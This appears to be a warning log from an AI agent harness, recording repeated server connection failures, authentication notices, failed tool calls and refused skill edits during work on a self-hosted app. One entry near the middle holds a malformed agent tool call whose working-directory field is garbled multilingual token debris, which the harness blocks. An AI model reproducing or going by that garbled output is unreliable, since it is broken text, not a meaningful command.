false, "error": "Binary file - cannot display as text. Use appropriate tools to handle this file 2026-09-10 11:41:04,607 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool terminal returned error (0.41s): {"output": "Traceback (most recent call last):\n File \"\", line 3, in \nModuleNotFoundError: No module named 'croniter'\nError in sys.excepthook:\nTraceback (most recent call last):\ 2026-09-10 11:41:59,366 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:43:10,325 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1/) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-10 11:47:06,703 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:50:12,310 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:50:12,311 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:50:15,637 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:50:15,661 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:50:15,675 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:50:15,695 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:50:23,330 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:50:31,430 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:50:31,453 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:50:31,464 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:50:31,488 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:50:38,010 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:51:40,327 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.41s): {"output": "Traceback (most recent call last):\n File \"\", line 4, in \n File \"/usr/lib/python3.12/urllib/request.py\", line 215, in urlopen\n return opener.open(url, data, time 2026-09-10 11:51:44,825 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "/usr/bin/bash: eval: line 28: unexpected EOF while looking for matching `\"'", "exit_code": 2, "error": null} 2026-09-10 11:52:46,553 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.18s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 11:53:30,071 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.27s): {"output": "Expecting value: line 1 column 1 (char 0)", "exit_code": 1, "error": null} 2026-09-10 11:55:45,307 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:00:51,795 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:05:59,537 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:11:07,608 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:16:14,977 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:20:43,550 WARNING [20260908_145242_f594ff] run_agent: Found 1 dead connection(s) in client pool — rebuilding client 2026-09-10 12:21:18,097 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.07s): {"output": "", "exit_code": 1, "error": null} 2026-09-10 12:21:22,316 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:23:29,384 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.63s): {"output": "Traceback (most recent call last):\n File \"\", line 5, in \nsqlite3.OperationalError: no such column: models_json\nError in sys.excepthook:\nTraceback (most recent call l 2026-09-10 12:26:30,059 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:31:36,825 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:32:28,744 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.01s): {"output": "", "exit_code": -1, "error": "This foreground command appears to start a long-lived server/watch process. Run it with background=true, verify readiness (health endpoint/log signal), then e 2026-09-10 12:33:51,523 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 12:34:16,036 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.08s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 12:36:44,483 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:41:52,056 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:46:58,723 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:52:06,705 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 12:57:13,359 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:02:20,016 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:07:26,747 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:12:34,686 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:17:42,655 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:22:50,414 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:27:57,280 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:29:43,174 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 13:29:43,174 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 13:31:06,268 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 13:31:06,397 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 13:31:06,409 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-10 13:31:06,418 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-10 13:31:06,428 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 13:31:06,436 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 13:31:06,438 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-10 13:31:06,440 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-10 13:31:27,203 WARNING [20260910_133106_7db0ca] agent.tool_executor: Tool skill_view returned error (0.73s): {"success": false, "error": "Skill 'autonomous-ai-agents' not found.", "available_skills": ["onboarding", "research-critism", "team-progress", "yuanbao", "claude-code", "codex", "computer-use", "herme 2026-09-10 13:32:17,506 WARNING [20260910_133106_7db0ca] agent.tool_executor: Tool terminal returned error (0.86s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nModuleNotFoundError: No module named 'agent_reach'\nError in sys.excepthook:\nTraceback (most recent call last 2026-09-10 13:32:23,675 WARNING [20260910_133106_7db0ca] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 13:32:38,141 WARNING [20260910_133106_7db0ca] agent.tool_executor: Tool read_file returned error (0.11s): {"content": "", "total_lines": 0, "file_size": 6802, "truncated": false, "is_binary": true, "is_image": false, "error": "Binary file - cannot display as text. Use appropriate tools to handle this file 2026-09-10 13:33:05,374 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:33:52,543 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 13:33:52,593 WARNING [20260910_133106_7db0ca] agent.tool_executor: Tool web_extract returned error (0.07s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-09-10 13:33:52,603 WARNING [20260910_133106_7db0ca] agent.tool_executor: Tool web_search returned error (3.18s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } 2026-09-10 13:37:06,600 WARNING [20260910_133106_7db0ca] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator write_file for skill 'policy-lab': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation."} 2026-09-10 13:38:00,817 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 13:38:00,817 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 13:38:06,061 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 13:38:06,078 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 13:38:06,084 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 13:38:06,103 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 13:38:13,799 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:42:54,475 WARNING hermes.lint.lsp: lsp[typescript] spawn/initialize failed for /opt/ai-os/products/ceo/projects/tech/OpenMAIC/app: LSPRequestError: LSP error -32603: Request initialize failed with message: Could not find a valid TypeScript installation. Please ensure that the "typescript" dependency is installed in the workspace or that a valid `tsserver.path` is specified. Exiting. 2026-09-10 13:43:20,721 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:48:28,189 WARNING hermes_cli.web_server: event loop stalled 14.5s (GIL pressure suspected) 2026-09-10 13:48:36,823 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:52:37,404 WARNING [20260908_145242_f594ff] tools.terminal_tool: Blocked dangerous workdir: /opt/ai-os/products/ceo}ಂತ್ರ】【。】【”】【 սպասенәjson? Let's correct. Need no typo. Use required fields. d天天 ашә to=functions.terminal commentary 񎔋】【:】【“】【command failed to parse. Need actual. Ensure workd (command: docker exec app-openmaic-1 sh -lc 'test -f /app/lib/ai/providers.ts && grep -F "body.stream === undefined" /app/lib/ai/providers.ts >/dev/null' && echo "PATCH_PRESENT_IN_RUNTIME=PASS" curl -fsS -X POS) 2026-09-10 13:52:37,406 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.01s): {"output": "", "exit_code": -1, "error": "Blocked: workdir contains disallowed character '}'. Use a simple filesystem path without shell metacharacters.", "status": "blocked"} 2026-09-10 13:53:44,597 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 13:53:45,457 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool skill_manage returned error (0.01s): {"error": "file_content is required for 'write_file'.", "success": false} 2026-09-10 13:58:51,378 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:03:58,477 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:09:05,672 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:14:13,846 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:19:21,334 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:22:58,629 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.59s): {"output": "", "exit_code": 1, "error": null} 2026-09-10 14:24:28,504 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:26:20,350 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool search_files returned error (0.17s): {"total_count": 0, "error": "Search failed: rg: regex parse error:\n (?:disabled={!hasAudibleContent)\n ^\nerror: repetition quantifier expects a valid decimal"} 2026-09-10 14:28:50,782 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "No entry matched 'User NN Vo: Vietnamese; strictly forbids dashes/hyphens (except CLI/paths/tables); mandates 20-25 word sentences; professional B2B tone; prefers dynamic 2026-09-10 14:29:36,419 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:34:44,970 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:37:19,436 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool read_file returned error (0.10s): {"content": "", "total_lines": 0, "file_size": 32860, "truncated": false, "is_binary": true, "is_image": false, "error": "Binary file - cannot display as text. Use appropriate tools to handle this fil 2026-09-10 14:38:05,590 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 14:38:05,590 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 14:38:22,756 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "Replacement would put memory at 2,223/2,200 chars. Shorten the new content, or 'remove' other stale or less important entries to make room (see current_entries below), the 2026-09-10 14:39:24,128 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.26s): {"output": "cat: can't open 'server-providers.yml': No such file or directory", "exit_code": 1, "error": null} 2026-09-10 14:39:52,715 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:40:05,472 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.98s): {"output": "Traceback (most recent call last):\n File \"\", line 6, in \nsqlite3.OperationalError: no such column: enabled\nError in sys.excepthook:\nTraceback (most recent call last) 2026-09-10 14:43:17,515 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.09s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 14:44:59,795 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:48:23,215 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "This foreground command appears to start a long-lived server/watch process. Run it with background=true, verify readiness (health endpoint/log signal), then e 2026-09-10 14:50:07,550 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 14:51:43,579 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "Memory at 2,166/2,200 chars. Adding this entry (299 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-09-10 14:55:15,360 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:00:23,066 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:05:31,233 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:10:38,116 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:15:46,013 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:20:54,075 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:26:00,886 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:31:08,872 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:36:16,833 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:41:23,754 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:46:30,986 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:51:38,188 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 15:56:46,466 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:01:53,655 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:07:01,054 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:12:08,789 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:13:16,619 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 16:13:16,620 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 16:15:06,882 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 16:15:06,921 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 16:15:06,928 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 16:15:06,952 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 16:15:14,845 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:15:37,539 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (3.22s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 16:16:11,483 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.48s): {"output": "ERROR: column \"title\" does not exist\nLINE 1: SELECT id, title FROM document_scenes;\n ^", "exit_code": 1, "error": null} 2026-09-10 16:16:30,960 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.29s): {"output": "ERROR: column \"title\" does not exist\nLINE 1: SELECT id, title, updated_at FROM document_stages ORDER BY u...\n ^", "exit_code": 1, "error": null} 2026-09-10 16:16:49,410 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 16:19:24,320 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool skill_manage returned error (0.05s): {"success": false, "error": "Refusing background curator patch for skill 'openmaic-selfhosted': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-09-10 16:20:22,784 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:25:30,953 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:30:38,588 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:35:46,469 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:40:54,729 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:46:02,236 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:51:08,860 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:56:16,164 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 16:56:46,773 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.06s): {"output": "cat: /opt/ai-os/products/ceo/projects/tech/OpenMAIC/app/docker-compose.yml: No such file or directory\ncat: /opt/ai-os/products/ceo/projects/tech/OpenMAIC/docker-compose.yml: No such file 2026-09-10 17:01:23,547 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:02:29,458 WARNING agent.relay_runtime: Skipping Relay instrumentation for concurrent Hermes turn 20260910_161506_4ea28f:20260910_161506_4ea28f:b8e18776 in session 20260910_161506_4ea28f 2026-09-10 17:04:19,731 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool skill_manage returned error (0.05s): {"success": false, "error": "Refusing background curator patch for skill 'openmaic-selfhosted': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-09-10 17:06:31,318 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:11:39,095 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:16:47,102 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:21:21,585 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 17:21:21,585 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 17:21:53,768 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:27:01,436 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:32:09,277 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:37:16,269 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:42:24,370 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:42:35,549 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-10 17:44:40,940 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Refusing background curator patch for skill 'openmaic-selfhosted': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-09-10 17:44:50,447 WARNING agent.relay_runtime: Skipping Relay instrumentation for concurrent Hermes turn 20260910_161506_4ea28f:20260910_161506_4ea28f:827fbc2b in session 20260910_161506_4ea28f 2026-09-10 17:47:31,800 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:49:10,439 WARNING hermes_cli.web_server: event loop stalled 11.1s (GIL pressure suspected) 2026-09-10 17:52:38,962 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 17:53:49,176 WARNING [20260910_161506_4ea28f] 